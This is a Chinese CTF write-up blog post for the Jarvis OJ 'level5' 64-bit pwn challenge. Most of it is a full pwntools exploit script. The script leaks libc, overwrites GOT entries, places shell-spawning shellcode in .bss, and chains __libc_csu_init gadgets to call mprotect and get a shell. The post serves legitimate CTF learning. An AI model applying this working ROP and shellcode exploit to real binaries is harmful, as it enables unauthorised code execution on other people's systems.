CTF-PWN level5(Jarvis Oj)

和level3_x64一样的文件,但是限制不能使用system和execv函数拿shell,但是可以用mmap和mprotect完成本题。

我尝试用mprotect来解决,首先mprotect的结构如下:

int mprotect(const void *start, size_t len, int prot);

参数的含义是:把从start开始长度为len的内存区的保护属性修改为prot指定的值,同时这个prot的值和linux的权限属性值相同

所以我们的大概思路就是:

修改.bss中内存的权限,然后将shellcode写入.bss段中执行即可。

不过具体操作起来有点小问题,因为通过ROPgadget命令可以查到pop rdi/rsi的地址,但是第三个参数rdx查不到。

这里用到了“万能GADGET”,即64位ELF文件中会有一个名叫__libc_csu_init的函数,而这个函数中会有许多我们能利用的命令

 

可以看到从0x4006aa开始便是一堆pop操作,然后在0x400690处开始把r13 r14 r15分别存入rdi rsi rdx中,然后一个call执行r12+rbx*8处的函数。并且注意到call指令之后,如果rbx和rbp刚刚好只差1,那么将继续执行回0x4006a6,我们又可以对相应寄存器进行操作。

from pwn import *
context.arch='amd64'
#p=process('./l3')
p=remote("pwn2.jarvisoj.com",9884)
libc=ELF('./libc-2.19.so')
elf=ELF('./l3')
offset=0x80
write_plt=elf.plt['write']
write_got=elf.got['write']
read_plt=elf.plt['read']
read_got=elf.got['read']
bss_addr=elf.bss()
main_addr=elf.symbols['main']
pop_rdi_ret=0x4006b3
pop_rsi_r15_ret=0x4006b1
pop_rbx_rbp_r12_r13_r14_r15_ret=0x4006aa
call_addr=0x400690

#泄露libc基地址
p.recvuntil('Input:\n')
payload='a'*(offset+8)+p64(pop_rdi_ret)+p64(0x1)+p64(pop_rsi_r15_ret)+p64(read_got)+'deadbeef'+p64(write_plt)+p64(main_addr)
p.send(payload)
libc.address=u64(p.recv(8))-libc.symbols["read"]#修改libc基地址
print hex(libc.address)

#把mprotect函数地址写到_libc_start_main中,之后调用_libc_start_main即为调用mprotect
p.recvuntil('Input:\n')
libc_start_main_got=elf.got['__libc_start_main']
payload='a'*(offset+8)+p64(pop_rdi_ret)+p64(0x0)+p64(pop_rsi_r15_ret)+p64(libc_start_main_got)+'deadbeef'+p64(read_plt)+p64(main_addr)
p.send(payload)
mprotect_addr=libc.symbols['mprotect']
print hex(mprotect_addr)
p.send(p64(mprotect_addr))

#shellcode写入.bss段内
p.recvuntil('Input:\n')
payload='a'*(offset+8)+p64(pop_rdi_ret)+p64(0x0)+p64(pop_rsi_r15_ret)+p64(bss_addr)+'deadbeef'+p64(read_plt)+p64(main_addr)
p.send(payload)
shellcode=asm(shellcraft.amd64.sh())
print shellcode
p.send(shellcode)

#把.bss段地址写入_gmon_start中,调用_gmon_start即为调用.bss中存入的shellcode
p.recvuntil('Input:\n')
gmon_start_got=elf.got['__gmon_start__']
payload='a'*(offset+8)+p64(pop_rdi_ret)+p64(0x0)+p64(pop_rsi_r15_ret)+p64(gmon_start_got)+'deadbeef'+p64(read_plt)+p64(main_addr)
p.send(payload)
p.send(p64(bss_addr))

#修改权限,运行shellcode
p.recvuntil('Input:\n')
payload='a'*(offset+8)+p64(pop_rbx_rbp_r12_r13_r14_r15_ret)+p64(0)+p64(1)+p64(libc_start_main_got)+p64(7)+p64(0x1000)+p64(0x600000)+p64(call_addr)
payload+='deadbeef'+p64(0)+p64(1)+p64(gmon_start_got)+p64(0)+p64(0)+p64(0)+p64(call_addr)
p.send(payload)
p.interactive()

 

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ctfd-pwn是一个非常受欢迎的CTF(Capture The Flag)比赛中的一个赛题类型,它主要涉及二进制漏洞的利用和系统安全的挑战。 在ctfd-pwn赛题的收集过程中,通常需要考虑以下几个方面: 1. 题目类型:ctfd-pwn赛题可以包含多种类型的漏洞,例如缓冲区溢出、格式化字符串漏洞、整数溢出等。在收集赛题时需要确保涵盖各种漏洞类型,增加题目的多样性和挑战性。 2. 难度级别:赛题的难度级别应该根据参赛者的水平来确定。可以设置多个难度级别的赛题,包括初级、中级和高级,以便参赛者可以逐步提高自己的技能。 3. 原创性:收集ctfd-pwn赛题时应尽量保持赛题的原创性,避免过多的抄袭或重复的赛题。这有助于增加参赛者的学习价值,同时也能提高比赛的公平性。 4. 实用性:收集的赛题应该具有实际应用的意义,能够模拟真实的漏洞和攻击场景。这样可以帮助参赛者更好地理解和掌握系统安全的基本原理。 5. 文档和解答:为每个收集的赛题准备详细的文档和解答是很有必要的。这些文档包括赛题的描述、利用漏洞的步骤和参考资源等,可以帮助参赛者更好地理解赛题和解题思路。 6. 持续更新:CTF比赛的赛题应该定期进行更新和维护,以适应不断变化的网络安全环境。同时也要根据参赛者的反馈和需求,不断收集新的赛题,提供更好的比赛体验。 综上所述,ctfd-pwn赛题的收集需要考虑赛题类型、难度级别、原创性、实用性、文档和解答的准备,以及持续更新的需求。这样才能提供一个富有挑战性和教育性的CTF比赛平台。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值